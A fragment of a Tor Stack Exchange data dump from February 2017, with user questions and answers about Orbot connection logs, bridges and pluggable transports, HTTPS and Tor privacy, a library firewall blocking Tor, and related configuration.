java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1113)&#xA;    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:588)&#xA;    at java.lang.Thread.run(Thread.java:818)&#xA;&#xA;Set background service to FOREGROUND&#xA;TorService is shutting down&#xA;Orbot is deactivated&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Set background service to FOREGROUND&#xA;Orbot is starting…&#xA;Orbot is starting…&#xA;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;torrc.custom=ControlPortWriteToFile /data/data/org.torproject.android/app_bin/control.txt&#xA;SOCKSPort 9050&#xA;SafeSocks 0&#xA;TestSocks 0&#xA;WarnUnsafeSocks 1&#xA;TransPort 9040&#xA;DNSPort 5400&#xA;DNSListenAddress 0.0.0.0&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;DisableNetwork 0&#xA;Log debug syslog&#xA;Log info syslog&#xA;SafeLogging 0&#xA;UseBridges 1&#xA;ClientTransportPlugin obfs3 exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;ClientTransportPlugin obfs4 exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;ClientTransportPlugin scramblesuit exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;Bridge obfs4 154.35.22.10:1984 8FB9F4319E89E5C6223052AA525A192AFBC85D55 cert=GGGS1TX4R81m3r0HBl79wKy1OtPPNR2CZUIrHjkRg65Vc2VR8fOyo64f9kmT1UAFG7j0HQ iat-mode=0 &#xA;Bridge obfs4 154.35.22.12:1984 00DC6C4FA49A65BD1472993CF6730D54F11E0DBB cert=N86E9hKXXXVz6G7w2z8wFfhIDztDAzZ/3poxVePHEYjbKDWzjkRDccFMAnhK75fc65pYSg iat-mode=0 &#xA;GeoIPFile /data/data/org.torproject.android/app_bin/geoip&#xA;GeoIPv6File /data/data/org.torproject.android/app_bin/geoip6&#xA;ExitNodes {US}&#xA;StrictNodes 0&#xA;&#xA;&#xA;success.&#xA;Orbot is starting…&#xA;/data/data/org.torproject.android/app_bin/tor DataDirectory /data/data/org.torproject.android/app_data --defaults-torrc /data/data/org.torproject.android/app_bin/torrc -f /data/data/org.torproject.android/app_bin/torrc.custom&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Waiting for control port...&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Connecting to control port: 48432&#xA;SUCCESS connected to Tor control port.&#xA;SUCCESS connected to Tor control port.&#xA;SUCCESS - authenticated to control port.&#xA;Starting Tor client… complete.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;Tor started; process id=28882&#xA;Starting polipo process&#xA;SUCCESS - authenticated to control port.&#xA;Starting Tor client… complete.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;found existing Tor process…&#xA;Polipo is running on port:8118&#xA;Polipo is running&#xA;Circuit (1) LAUNCHED: &#xA;NOTICE: Bootstrapped 5%: Connecting to directory server &#xA;orConnStatus ($8FB9F4319E89E5C6223052AA525A192AFBC85D55): LAUNCHED&#xA;Circuit (2) LAUNCHED: &#xA;orConnStatus ($00DC6C4FA49A65BD1472993CF6730D54F11E0DBB): LAUNCHED&#xA;NOTICE: Bootstrapped 10%: Finishing handshake with directory server &#xA;WARN: Proxy Client: unable to connect to 154.35.22.10:1984 (&quot;Host unreachable&quot;) &#xA;WARN: Proxy Client: unable to connect to 154.35.22.12:1984 (&quot;Host unreachable&quot;) &#xA;Circuit (1) FAILED: ONEHOP_TUNNEL &amp;gt; S_INTERNAL &amp;gt; EED_CAPACITY&#xA;Circuit (2) FAILED: ONEHOP_TUNNEL &amp;gt; S_INTERNAL &amp;gt; EED_CAPACITY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16323" LastEditorUserId="5234" LastEditDate="2017-02-18T14:58:48.237" LastActivityDate="2017-02-18T14:58:48.237" Title="Internet blocked" Tags="|blocked-services|" AnswerCount="1" CommentCount="0" ClosedDate="2017-03-02T13:53:45.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="14082" PostTypeId="2" ParentId="14064" CreationDate="2017-02-16T22:50:14.357" Score="1" Body="&lt;p&gt;Yes, Tor connects to the first node over the proxy. The proxy connection isn't encrypted, but the data sent over it will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if a simple proxy works, it's likely that other bridges will work too, it's possible that only the default bridges don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A proxy should only be used in situations where it's required to access external internet resources (common on corporate networks) and potentially against poorly configured censorship systems. Note that single hop proxies are &lt;em&gt;not&lt;/em&gt; &quot;anonymous&quot; for any meaningful value of &quot;anonymous&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-16T22:50:14.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14083" PostTypeId="2" ParentId="14081" CreationDate="2017-02-16T23:01:50.433" Score="1" Body="&lt;p&gt;&lt;code&gt;WARN: Proxy Client: unable to connect to 154.35.22.10:1984 (&quot;Host unreachable&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like there's a problem with your internet connection. That error normally means one of two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your local system has no route to the host, meaning your internet connection is misconfigured or down.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;or&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;A remote router is saying that address can't be routed to, meaning your ISP is misconfigured or blocking connections to that destination (normally I'd expect to see &quot;Connection refused&quot; in the case of censorship though).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ensure that your internet connection is working properly. If it is then try using non-default obfs4 bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt; or the builtin meek pluggable transports.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-16T23:01:50.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14091" PostTypeId="1" CreationDate="2017-02-17T18:56:59.693" Score="3" ViewCount="1069" Body="&lt;p&gt;I have several doubts regarding the HTTPS protocol:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;- First:&lt;/em&gt;&lt;/strong&gt; Are the HTTPS headers encrypted? I mean, HTTPS encrypts the content, but does it also encrypt the headers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;-Second:&lt;/em&gt;&lt;/strong&gt; Navigating with, for example, Chrome, through the HTTPS protocol, is it safe for privacy? I mean, imagine that the police are analyzing my network traffic through a sniffer. I am browsing with a normal browser but through an HTTPS page, can the police track me? And Can the police know the server to which I am sending data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Third:&lt;/em&gt;&lt;/strong&gt; The main purpose of Tor is to hide the user through the three nodes. But my question is: If using HTTPS only the connection is encrypted, and the HTTP headers are encrypted, how can the user be tracked if everything is encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Four:&lt;/em&gt;&lt;/strong&gt; Does using HTTPS also encrypt IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forget my English, English is not my mother tongue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I add more doubts...&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just opened this thread as a result of this animation (&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;). That animation is very explanatory, but it also gives me doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;First:&lt;/em&gt;&lt;/strong&gt; According to that image, if I only surf with HTTPS, people (Police, NSA ...) can track me. At first, I thought that maybe they could track me because of HTTP headers. But now I know that HTTP headers are encrypted in HTTPS. So I guess they can track me, for example, thanks to the IP, which is not encrypted (among other elements, like cookies or fingerprinting). Right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Second:&lt;/em&gt;&lt;/strong&gt; According to that image, when I navigate through HTTPS, the Police or the NSA can know to which web page I am connecting. Our fellow canonizing ironize has said that &quot;they know who you are and what site you are using (because) the site you are connecting to is not encrypted. The resource you're fetching from the site is&quot;. I do not quite understand this. I mean, if the HTTP headers are encrypted, the &quot;Host&quot; request header is also encrypted. So how do they know the site I'm connecting to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Third:&lt;/em&gt;&lt;/strong&gt; Look at the animation (&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;), please. These next questions are very important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;A)&lt;/em&gt;&lt;/strong&gt; If I am using Tor and HTTPS simultaneously, according to the image, if there is a hacker monitoring my router he only receives one information: &quot;Location Tor&quot;. What does this mean? He can not see my information (is encrypted because of HTTPS), but does he know my identity? (Imagine that the hacker is monitoring a router in a huge building with many routers. The hacker does not know exactly which router he is monitoring, he only knows that it is in that building. If I use Tor and HTTPS, the hacker can see my real public IP? I say it because the information has not gone through the three nodes  yet...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;B)&lt;/em&gt;&lt;/strong&gt; According to the image, if I use Tor and HTTPS simultaneously, my ISP and a possible NSA agent that monitors the Network BEFORE the first Tor node, can see the same thing as before: &quot;Location Tor &quot;. Can anyone explain this to me? What does it mean? I think it means that he can know WHO the information comes from, but not WHERE TO GO. But this means that Tor is vulnerable ... In the same way, the first Tor node can see &quot;Location Tor&quot; ... What does this mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;C)&lt;/em&gt;&lt;/strong&gt; According to the image, if I use Tor and HTTPS simultaneously, the third Tor node, as well as a possible NSA agent located AFTER the three nodes; the ISP of the site that I connect to and the website can see the site to which a Tor user connects (&quot;Site.com&quot;) and nothing else, right? That is, they can see the site to which a connection is connecting, but they can not know where the connection is coming from, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;D)&lt;/em&gt;&lt;/strong&gt; Imagine this situation ... I am using Tor. The NSA is monitoring ALL submarine cables, as Snowden suggested ... Okay. Then, there is an NSA agent monitoring the Network BEFORE the first Tor node and another monitoring the Network AFTER the third node. They detect all my traffic. According to the image, the first agent receives &quot;Location Tor&quot;, and the second agent receives &quot;Site.com&quot; (the website to which I connect). If they share the information, can they know my identity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I know there are a lot of questions ... I'm sorry, but I think they're interesting. Thank you.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Forget my English please; English is not my mother tongue).&lt;/p&gt;&#xA;" OwnerUserId="15985" LastEditorUserId="15985" LastEditDate="2017-02-18T12:22:22.700" LastActivityDate="2017-02-18T14:44:22.360" Title="HTTPS, HTTP Headers, Privacy and Tor" Tags="|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14092" PostTypeId="2" ParentId="14091" CreationDate="2017-02-17T20:12:41.703" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are the HTTPS headers encrypted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, in HTTPS the headers and the requested resource are part of the &quot;content&quot; that is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am browsing with a normal browser but through an HTTPS page, can the police track me? And Can the police know the server to which I am sending data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, they know who you are and what site you are using, the site you are connecting to is not encrypted. The resource you're fetching from the site is.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can the user be tracked if everything is encrypted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Covert and overt tracking mechanisms, e.g. cookies and cache. See &lt;a href=&quot;https://sites.google.com/a/chromium.org/dev/Home/chromium-security/client-identification-mechanisms&quot; rel=&quot;nofollow noreferrer&quot;&gt;this document&lt;/a&gt; for some examples.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does using HTTPS also encrypt IP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, HTTPS traffic is sent over IP, it cannot encrypt the layers below it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if the HTTP headers are encrypted, the &quot;Host&quot; request header is also encrypted. So how do they know the site I'm connecting to?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A feature of TLS called &lt;a href=&quot;https://en.wikipedia.org/wiki/Server_Name_Indication&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Server Name Indication&quot;&lt;/a&gt; or SNI. Also in TLS1.2 or less the certificate is sent in plaintext (not so for &lt;a href=&quot;https://media.ccc.de/v/33c3-8348-deploying_tls_1_3_the_great_the_good_and_the_bad&quot; rel=&quot;nofollow noreferrer&quot;&gt;TLS1.3&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I use Tor and HTTPS, the hacker can see my real public IP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A local observer sees you are using Tor and where you are located (since they're local), the see nothing of what you're using Tor for.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the third Tor node...can see the site to which a Tor user connects&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, they see the data that you sent into the Tor network, which is HTTPS traffic.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If they share the information, can they know my identity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yes&lt;/a&gt;, this is a fundamental limitation of low latency anonymity networks.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-02-18T14:44:22.360" LastActivityDate="2017-02-18T14:44:22.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14093" PostTypeId="1" CreationDate="2017-02-17T21:50:59.763" Score="1" ViewCount="335" Body="&lt;p&gt;I'm trying from a few days ago to run Tor Browser in my library public connection, but although I tried a lot of methods I found on the internet, I was unable to connect trough Tor. I have two OS's: windows 10 and tails. I have downloaded tails because I have read about the trick of connect to the authentication page with the unsafe browser before start Tor. The unsafe browser connects without problems, but it doesn't work with the Tor Browser. Also I tried to use bridges, and I have tried with all the pluggable transports listed, and I didn't had success with any of them. Just today I discovered that the captive portal of my library takes the ip's  of the tor connection like a &quot;malware site&quot;, so, I think the problem is there. I say that because I have entered the onion circuit ip in the unsafe navigation tab and I got this message:     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://194.109.206.212/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://194.109.206.212/&lt;/a&gt;&#xA;is in the category Malicious Websites &#xA;Your FortiGate Administrator has blocked this category &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really I think I have tried all the solutions that I found in the tor and tails documentation, so, I will really appreciate your help with that. I need a way to use Tor browser with my connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16333" LastActivityDate="2017-02-18T07:29:05.357" Title="Public library captive portal connection" Tags="|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14096" PostTypeId="2" ParentId="6152" CreationDate="2017-02-18T05:41:52.937" Score="3" Body="&lt;p&gt;I've followed docksmouth and antiplex's good guide above. You can now install directly from the link below, my source code is on Github. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to in Tor Browser &lt;a href=&quot;http://www.andrewparadi.com/torduckgo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.andrewparadi.com/torduckgo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source Code: &lt;a href=&quot;https://github.com/andrewparadi/torduckgo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/andrewparadi/torduckgo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16339" LastActivityDate="2017-02-18T05:41:52.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14097" PostTypeId="2" ParentId="14093" CreationDate="2017-02-18T07:29:05.357" Score="1" Body="&lt;p&gt;Your connection is filtered on &lt;em&gt;at least&lt;/em&gt; by-ip basis, so you need to use not just bridges with a pluggable transports, but I do recommend you to find an unpublished bridge or make your own unpublished bridge: if they are so persistent in blocks, not just Tor node list,but a bridge list can be banned as well. It's not as simple as a node list, but you can get the bridge list without solving a discrete logarithm problem&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-18T07:29:05.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14101" PostTypeId="1" CreationDate="2017-02-18T11:59:43.810" Score="1" ViewCount="316" Body="&lt;p&gt;I'm trying to understand how tor multiplexing work. I went through all their design documentation and original research paper, but there is very little mention of it. Examining Tor source code, didn't do much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My main question, what is being multiplexed, where does it happen, and how is it happening?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it at Tor client? If so, what is being multiplexed? Is it the connections? or is it streams belonging to same circuit? is multiplexing always guaranteed? Or is it governed by some conditions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this, because as I far as I can see from the code, streams are being written to circuits as they are received from the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, clue or references is much appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="16345" LastActivityDate="2017-02-18T11:59:43.810" Title="Tor Multiplexing" Tags="|torsocks|" AnswerCount="0" CommentCount="4" ClosedDate="2017-03-02T13:54:47.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="14104" PostTypeId="1" CreationDate="2017-02-18T18:15:58.393" Score="1" ViewCount="1012" Body="&lt;p&gt;USE:&#xA;- Tor expert bundle&#xA;- Windows 7 64bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a start Tor.exe and works...&#xA;But do not know how to change identity (Generate new IP already running process Tor.exe)&lt;/p&gt;&#xA;" OwnerUserId="16352" LastActivityDate="2017-02-21T19:08:49.073" Title="Tor change identity command" Tags="|tor-browser-bundle|configuration|" AnswerCount="2" CommentCount="0" ClosedDate="2017-03-17T10:24:25.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="14106" PostTypeId="1" CreationDate="2017-02-18T23:21:13.113" Score="2" ViewCount="7554" Body="&lt;p&gt;How do I configure Tor Browser so that is saves temporary internet files? I am using it on a website that generates audio files that normally you can locate in the temp cache folder in Firefox for example, but I have not found a way to do this in Tor?&lt;/p&gt;&#xA;" OwnerUserId="16354" LastActivityDate="2021-11-10T03:02:40.713" Title="How to set Tor Browser to save temporary internet files?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14115" PostTypeId="1" AcceptedAnswerId="14116" CreationDate="2017-02-19T12:58:44.177" Score="2" ViewCount="1137" Body="&lt;p&gt;What are the statistics on how many people download the Tor Browser? How many people download it? How many update it?&lt;/p&gt;&#xA;" OwnerUserId="16326" LastActivityDate="2017-02-19T13:43:03.867" Title="What are the statistics on how many people download the Tor Browser?" Tags="|tor-browser-bundle|stats|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14116" PostTypeId="2" ParentId="14115" CreationDate="2017-02-19T12:58:44.177" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;noreferrer&quot;&gt;Tor Metrics&lt;/a&gt; has a visualization of Tor Browser downloads and updates,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/webstats-tb.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://metrics.torproject.org/webstats-tb.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has statistics on Tor Browser downloads by platform,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/webstats-tb-platform.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://metrics.torproject.org/webstats-tb-platform.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to statistics on Tor Browser downloads by locale,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/webstats-tb-locale.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://metrics.torproject.org/webstats-tb-locale.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/webstats-tb-locale.html&quot; rel=&quot;noreferrer&quot;&gt;Blog post&lt;/a&gt; on Tor Browser section of Tor Metrics.&lt;/p&gt;&#xA;" OwnerUserId="16326" LastEditorUserId="16326" LastEditDate="2017-02-19T13:04:12.057" LastActivityDate="2017-02-19T13:04:12.057" CommentCount="0" CommunityOwnedDate="2017-02-19T12:58:44.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="14117" PostTypeId="1" CreationDate="2017-02-19T13:35:52.857" Score="3" ViewCount="215" Body="&lt;p&gt;On this The Tor Project webpage: &lt;a href=&quot;https://www.torproject.org/about/jobs.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/about/jobs.html.en&lt;/a&gt; it is possible to read the following: &quot;The Tor network's 6000 &lt;strong&gt;volunteer relays carry 48 Gbps for several million daily users&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does &lt;strong&gt;48 Gbps&lt;/strong&gt; mean? I mean, is it the Data Transfer Rate of the Tor Network? Or maybe it is the bandwidth of the Tor Network? Or maybe it's something else ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone tell me what does it mean? Thank you...&lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2018-12-12T01:01:35.643" Title="Gbps and Tor... (&quot;Volunteer relays carry 48 Gbps&quot;)" Tags="|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14122" PostTypeId="2" ParentId="14117" CreationDate="2017-02-19T14:00:18.400" Score="1" Body="&lt;p&gt;It means the aggregation sum of all the speeds advertised+checked by relays. Of course it &lt;strong&gt;does not&lt;/strong&gt; mean that you'll have it full just connecting to the network.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-19T14:00:18.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14124" PostTypeId="2" ParentId="14104" CreationDate="2017-02-19T15:36:51.783" Score="0" Body="&lt;p&gt;Tor Portable:&#xA;&lt;a href=&quot;https://mega.nz/#!FVsVhJKC!Y3L6J7ALqRwPhD5bODe3m5vfbUMbOXMGzXnM5MyWyc4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!FVsVhJKC!Y3L6J7ALqRwPhD5bODe3m5vfbUMbOXMGzXnM5MyWyc4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video (IP address does not change):&#xA;&lt;a href=&quot;https://mega.nz/#!5N8HhCqD!h2hcrq_7338KsuQXPtHvoorezIL80bOHv3K71Ir12Vo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!5N8HhCqD!h2hcrq_7338KsuQXPtHvoorezIL80bOHv3K71Ir12Vo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx Help me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: who deleted posts?&lt;/p&gt;&#xA;" OwnerUserId="16352" LastActivityDate="2017-02-19T15:36:51.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14125" PostTypeId="1" CreationDate="2017-02-19T22:17:45.113" Score="2" ViewCount="972" Body="&lt;pre&gt;&lt;code&gt;19-Feb-17 22:09:06 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19-Feb-17 22:09:06 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19-Feb-17 22:09:06 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19-Feb-17 22:09:06 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;19-Feb-17 22:09:07 PM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;19-Feb-17 22:09:07 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;19-Feb-17 22:09:26 PM.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 9695DFC35FFEB861329B9F1AB04C46397020CE31 at 128.31.0.39:9101) &#xA;19-Feb-17 22:09:26 PM.000 [WARN] 10 connections have failed: &#xA;19-Feb-17 22:09:26 PM.000 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;19-Feb-17 22:09:30 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;19-Feb-17 22:09:30 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19-Feb-17 22:09:30 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;19-Feb-17 22:09:30 PM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my Log. I don't know what is wrong. Can someone help?&lt;/p&gt;&#xA;" OwnerUserId="16387" LastEditorUserId="9291" LastEditDate="2017-02-20T13:29:03.363" LastActivityDate="2017-02-20T13:29:54.817" Title="Loading tor browser gets stuck at establishing encrypted directory connection" Tags="|tor-browser-bundle|help|censorship|" AnswerCount="1" CommentCount="1" ClosedDate="2017-05-09T12:08:40.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="14126" PostTypeId="1" CreationDate="2017-02-20T06:37:49.083" Score="2" ViewCount="3993" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vm3B2.jpg&quot; alt=&quot;Orbot Log&quot;&gt;&#xA;My orbit stopped connecting to the web. I've reset it and it won't start anymore. I have tried reinstalling the application.&lt;/p&gt;&#xA;" OwnerUserId="16388" LastEditorUserId="14292" LastEditDate="2017-05-03T22:46:39.997" LastActivityDate="2018-01-29T06:27:48.950" Title="Can't start Orbot" Tags="|orbot|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14127" PostTypeId="2" ParentId="14125" CreationDate="2017-02-20T13:29:54.817" Score="2" Body="&lt;p&gt;You have a SSL/TLS active attacker on your connection, use Meek pluggable transport to mitigate this. You can also try obfs4&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-20T13:29:54.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14129" PostTypeId="1" AcceptedAnswerId="14137" CreationDate="2017-02-20T14:49:55.443" Score="1" ViewCount="710" Body="&lt;p&gt;Which stem python code would you suggest to determine whether tor is operational (bootstrapped at 100%) or not?&lt;/p&gt;&#xA;" OwnerUserId="14928" LastEditorUserId="14928" LastEditDate="2017-02-21T09:44:50.467" LastActivityDate="2017-02-21T16:38:00.363" Title="Which python script allow me to know if tor is operational or not as a client?" Tags="|python|stem|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
